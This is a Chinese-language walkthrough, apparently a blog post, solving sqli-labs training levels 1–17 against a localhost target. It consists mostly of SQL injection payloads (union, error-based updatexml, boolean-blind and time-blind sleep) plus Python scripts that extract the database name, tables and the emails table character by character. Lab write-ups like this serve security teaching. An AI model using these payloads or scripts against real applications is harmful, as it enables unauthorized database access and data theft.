Level-1
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合:输入\,后面是',是单引号闭合
http://localhost/sqli-labs-master/Less-1/?id=1\
注释符:--+
使用注释符将后面的内容注释掉,使其不报错
第二步:判断多少个字段,3不报错,4报错,证明有3列
http://localhost/sqli-labs-master/Less-1/?id=1 order by 3--+
http://localhost/sqli-labs-master/Less-1/?id=1 order by 4--+
第三步:union联合注入获取数据库的名称
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
第四步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
第六步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(email_id) from emails--+
获取成功
Level-2
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合:输入\,后面为空,没有闭合
http://localhost/sqli-labs-master/Less-2/?id=1\
第二步:判断字段值为3
http://localhost/sqli-labs-master/Less-2/?id=1 order by 3 --+
第三步:获取数据库的名称
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,database() --+
第四步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
第六步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(email_id) from emails--+
Level-3
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合:输入\,后面'),闭合为')
第二步:获取数据库的名称
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,database() --+
第三步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第四步:获取emails表中的字段名称
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
第五步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(email_id) from emails--+
Level-4
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合
http://localhost/sqli-labs-master/Less-4/?id=0\
第二步:获取数据库的名称
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,database() --+
第三步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第四步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
第五步:获取emails表中字段名为email_id的数据
union select 1,2,group_concat(email_id) from emails--+
Level-5
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合
http://localhost/sqli-labs-master/Less-5/?id=0\
第二步:判断注入点,发现回显"You are in..........."
http://localhost/sqli-labs-master/Less-5/?id=1'and 1=1 --+
当输入正确的查询语句是会出现"You are in...........",错误的语句则无回显
第三步:报错注入 获取数据库的名称
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
第四步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
第五步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1) --+
第六步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id)from emails),0x7e),1) --+
Level-6
目标:获取emails中的所有email_id字符内容
wp
第一步:判断闭合
http://localhost/sqli-labs-master/Less-6/?id=1\
第二步:布尔盲注 判断数据库的长度 为8
http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())>7--+
http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())>8--+
第三步:判断数据库名的字母
select substr(database(),1,1);
截取数据库库名,从第1个字开始截取,每次截取1个
select ascii(substr(database(),1,1));
截取出来的字,使用ascii码编码
select ascii(substr(database(),1,1)) < 97;
payload
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr(database(),1,1))>114--+
使用脚本
import requests #导入requests库
url="http://localhost/sqli-labs-master/Less-6/?id=" #将网址不变的部分定义为变量url
flag=""
for i in range(1,50):
for j in range(32,127): #两个循环
a='1" and ascii(substr(database(),{},1))={}--+'.format(i,j)
#i,j分别对应两个{},第一个{}是从第几个字母开始循环,第二个{}是判断字母在ascii表中的位置
b=url+a #拼接两个网址,使其成为完整的url
print(b) #打印网址
r=requests.get(url=b) #发送get请求
if 'You' in r.text: #如果页面回显为You are in... 则语句正确
flag=flag+chr(j) #打印出想要的字母
print(flag)
第四步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100--+
import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""
for i in range(1,50):
for j in range(32,127):
a='1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),{},1))={}--+'.format(i,j)
b=url+a
print(b)
r=requests.get(url=b)
if 'You' in r.text:
flag=flag+chr(j)
print(flag)
break
第五步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>100--+
import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""
for i in range(1,50):
for j in range(32,127):
a='1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),{},1))={}--+'.format(i,j)
b=url+a
print(b)
r=requests.get(url=b)
if 'You' in r.text:
flag=flag+chr(j)
print(flag)
break
第六步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(email_id) from emails),1,1))>32--+
import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""
for i in range(1,50):
for j in range(32,127):
a='1" and ascii(substr((select group_concat(email_id)from emails),{},1))={}--+'.format(i,j)
b=url+a
print(b)
r=requests.get(url=b)
if 'You' in r.text:
flag=flag+chr(j)
print(flag)
break
Level-7
目标:获取emails中的所有email_id字符内容
wp
查看源码 判断闭合,闭合为'))
布尔盲注同Level-6一样
Level-8
目标:获取emails中的所有email_id字符内容
wp
第一步:查看源码 判断闭合,闭合为'
第二步:时间盲注获取数据库的名称
http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>32,sleep(5),1)--+
import requests
import time
url = "http://localhost/sqli-labs-master/Less-8/?id="
flag = ''
for i in range(1, 50):
for j in range(32, 127):
a = "1' and if(ascii(substr((select database()),{},1))={},sleep(5),1)--+".format(i, j)
b = url + a
print(b)
start_time = time.time()
re = requests.get(url=b)
end_time = time.time()
sec = end_time - start_time
if sec >= 5:
flag = flag + chr(j)
print(flag)
break
第三步:获取security数据库中所有表的名称
http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>32,sleep(5),1)--+
第四步:获取emails表中的字段名称
http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>32,sleep(5),1)--+
第五步:获取emails表中字段名为email_id的数据
http://localhost/sqli-labs-master/Less-8/?id=1' and if( ascii(substr((select group_concat(email_id) from emails),1,1))>32,sleep(5),1)--+
Level-9
目标:获取emails中的所有email_id字符内容
wp
同Level-8一样
Level-10
目标:获取emails中的所有email_id字符内容
wp
查看源码 判断闭合,闭合为"
同前两关时间盲注一样
Level-11
目标:获取emails中的所有email_id字符内容
wp
前十关是get传参,第十一关开始有post传参
第一步:查看源码,判断闭合,两个参数闭合均为'
第二步:判断字段数为2
第三步:获取数据库的名称
passwd=1&uname=1' union select 1,database()#
第四步:获取security数据库中所有表的名称
passwd=1&uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
第五步:获取emails表中的字段名称
passwd=1&uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' #
第六步:获取emails表中字段名为email_id的数据
passwd=1&uname=1' union select 1,group_concat(email_id) from emails #
Level-12
目标:获取emails中的所有email_id字符内容
wp
查看源码 判断闭合,闭合为")
通Level-11一样
Level-13
目标:获取emails中的所有email_id字符内容
wp
第一步:查看源码 判断闭合,闭合为')
第二步:使用报错注入获取数据库的名称
passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #
第三步:获取security数据库中所有表的名称
passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#
第四步:获取emails表中的字段名称
passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='emails'),0x7e),1)#
第五步:获取emails表中字段名为email_id的数据
passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#
Level-14
目标:获取emails中的所有email_id字符内容
wp
产看源码,判断闭合为"
同Level-13一样
Level-15
目标:获取emails中的所有email_id字符内容
wp
第一步:查看源码,判断闭合为'
蓝色图片为语句正确,红色为错误
passwd=1&uname=1' or ascii(substr((select database()),1,1))#
第二步:布尔盲注获取数据库的名称
passwd=1&uname=1' or ascii(substr((select database()),1,1))#
import requests
url = "http://localhost/sqli-labs-master/Less-15/"
flag = ""
for i in range(1, 50):
for j in range(32, 127):
a = "1' or ascii(substr((select database()),{},1))={}#".format(i, j)
data = {"uname": a, "passwd": a}
r = requests.post(url=url, data=data)
print(data)
if '../images/flag.jpg' in r.text:
flag = flag + chr(j)
print(flag)
break
第三步:获取security数据库中所有表的名称
passwd=1&uname=1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100#
第四步:获取emails表中的字段名称
passwd=1&uname=1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>100#
第五步获取emails表中字段名为email_id的数据
passwd=1&uname=1' or ascii(substr((select group_concat(email_id) from emails),1,1))>32#
Level-16
目标:获取emails中的所有email_id字符内容
wp
产看源码,判断闭合为")
同Level-15一样
Level-17
目标:获取emails中的所有email_id字符内容
wp
第一步:产看源码,判断闭合为'
第二步:报错注入获取数据库的名称
uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,(database()),0x7e),2)#
第三步:获取security数据库中所有表的名称
uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema = 'security')),2)#
第四步:获取emails表中的字段名称
uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(column_name)from information_schema.columns where table_schema= 'security')),2)#
第五步获取emails表中字段名为email_id的数据
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(email_id)from emails),0x7e),1)#
标签:emails,labs,concat,sql,id,select,schema
From: https://www.cnblogs.com/Yolololo/p/18289947